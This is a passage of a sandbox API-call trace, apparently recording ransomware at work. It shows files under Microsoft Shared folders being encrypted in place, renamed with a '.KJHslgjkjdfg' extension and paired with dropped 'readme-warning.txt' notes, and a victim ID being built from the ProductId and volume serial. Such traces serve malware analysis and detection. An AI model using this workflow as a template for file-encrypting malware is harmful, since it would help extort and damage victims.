lpNewFilePointer=0x0) returned 1 [0189.366] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0189.368] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.368] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.368] GetProcessHeap () returned 0x2ef0000 [0189.368] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.368] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.368] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.368] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.368] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.368] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.368] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.368] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.368] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.368] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.368] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.369] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.369] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x2ab, lpOverlapped=0x0) returned 1 [0189.369] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2b0) returned 1 [0189.369] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.369] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x2b0, lpOverlapped=0x0) returned 1 [0189.369] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.369] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.369] SetEndOfFile (hFile=0x12c) returned 1 [0189.371] GetProcessHeap () returned 0x2ef0000 [0189.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.371] GetProcessHeap () returned 0x2ef0000 [0189.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.kjhslgjkjdfg")) returned 1 [0189.379] CloseHandle (hObject=0x12c) returned 1 [0189.379] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0189.379] GetProcessHeap () returned 0x2ef0000 [0189.379] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.379] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.379] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.379] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.379] GetProcessHeap () returned 0x2ef0000 [0189.379] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.379] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.380] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.380] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.380] GetProcessHeap () returned 0x2ef0000 [0189.380] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.380] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.380] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.380] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.380] GetProcessHeap () returned 0x2ef0000 [0189.380] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.380] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.380] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.380] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.380] GetProcessHeap () returned 0x2ef0000 [0189.380] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.380] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.380] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.380] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.380] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.380] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.380] RegCloseKey (hKey=0x12c) returned 0x0 [0189.380] GetProcessHeap () returned 0x2ef0000 [0189.380] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.380] GetProcessHeap () returned 0x2ef0000 [0189.381] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.381] GetProcessHeap () returned 0x2ef0000 [0189.381] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.381] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.381] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.381] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.381] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.381] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.381] GetProcessHeap () returned 0x2ef0000 [0189.381] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.381] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.381] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.381] GetProcessHeap () returned 0x2ef0000 [0189.381] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.381] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\readme-warning.txt") returned 83 [0189.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.382] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.382] CloseHandle (hObject=0x12c) returned 1 [0189.383] GetProcessHeap () returned 0x2ef0000 [0189.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.383] GetProcessHeap () returned 0x2ef0000 [0189.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.383] GetProcessHeap () returned 0x2ef0000 [0189.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.383] GetProcessHeap () returned 0x2ef0000 [0189.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.383] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.383] GetProcessHeap () returned 0x2ef0000 [0189.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0189.383] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0189.384] GetProcessHeap () returned 0x2ef0000 [0189.384] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.384] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0189.384] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0189.384] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0189.384] GetProcessHeap () returned 0x2ef0000 [0189.384] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.384] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0189.384] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0189.384] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0189.384] GetProcessHeap () returned 0x2ef0000 [0189.384] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.384] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0189.384] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dff0a8 | out: pbData=0x2f14588, pdwDataLen=0x4dff0a8) returned 1 [0189.384] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0189.384] GetProcessHeap () returned 0x2ef0000 [0189.384] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.384] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0189.384] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0189.384] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0189.384] GetProcessHeap () returned 0x2ef0000 [0189.384] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.384] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0189.384] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfec88 | out: pbData=0x2f11728, pdwDataLen=0x4dfec88) returned 1 [0189.384] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0189.385] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0x130) returned 0x0 [0189.385] RegQueryValueExA (in: hKey=0x130, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0189.385] RegCloseKey (hKey=0x130) returned 0x0 [0189.385] GetProcessHeap () returned 0x2ef0000 [0189.385] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.385] GetProcessHeap () returned 0x2ef0000 [0189.385] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.385] GetProcessHeap () returned 0x2ef0000 [0189.385] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.385] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0189.385] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea5c | out: pbData=0x2f11728, pdwDataLen=0x4dfea5c) returned 1 [0189.385] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0189.385] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.385] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.385] GetProcessHeap () returned 0x2ef0000 [0189.385] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.385] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.385] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.386] GetProcessHeap () returned 0x2ef0000 [0189.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.386] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\readme-warning.txt") returned 74 [0189.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.386] WriteFile (in: hFile=0x130, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0189.387] CloseHandle (hObject=0x130) returned 1 [0189.387] GetProcessHeap () returned 0x2ef0000 [0189.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.387] GetProcessHeap () returned 0x2ef0000 [0189.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.387] GetProcessHeap () returned 0x2ef0000 [0189.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.387] GetProcessHeap () returned 0x2ef0000 [0189.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.387] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0189.388] GetProcessHeap () returned 0x2ef0000 [0189.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0189.388] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0189.388] GetProcessHeap () returned 0x2ef0000 [0189.388] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f123a0 [0189.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0189.390] GetProcessHeap () returned 0x2ef0000 [0189.390] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0189.390] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0189.390] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARFR", cAlternateFileName="")) returned 1 [0189.390] GetProcessHeap () returned 0x2ef0000 [0189.390] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x282) returned 0x2f10788 [0189.390] GetProcessHeap () returned 0x2ef0000 [0189.390] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0189.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.391] GetProcessHeap () returned 0x2ef0000 [0189.391] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0189.391] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0189.391] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0189.391] GetProcessHeap () returned 0x2ef0000 [0189.391] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f16e68 [0189.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.392] GetFileSizeEx (in: 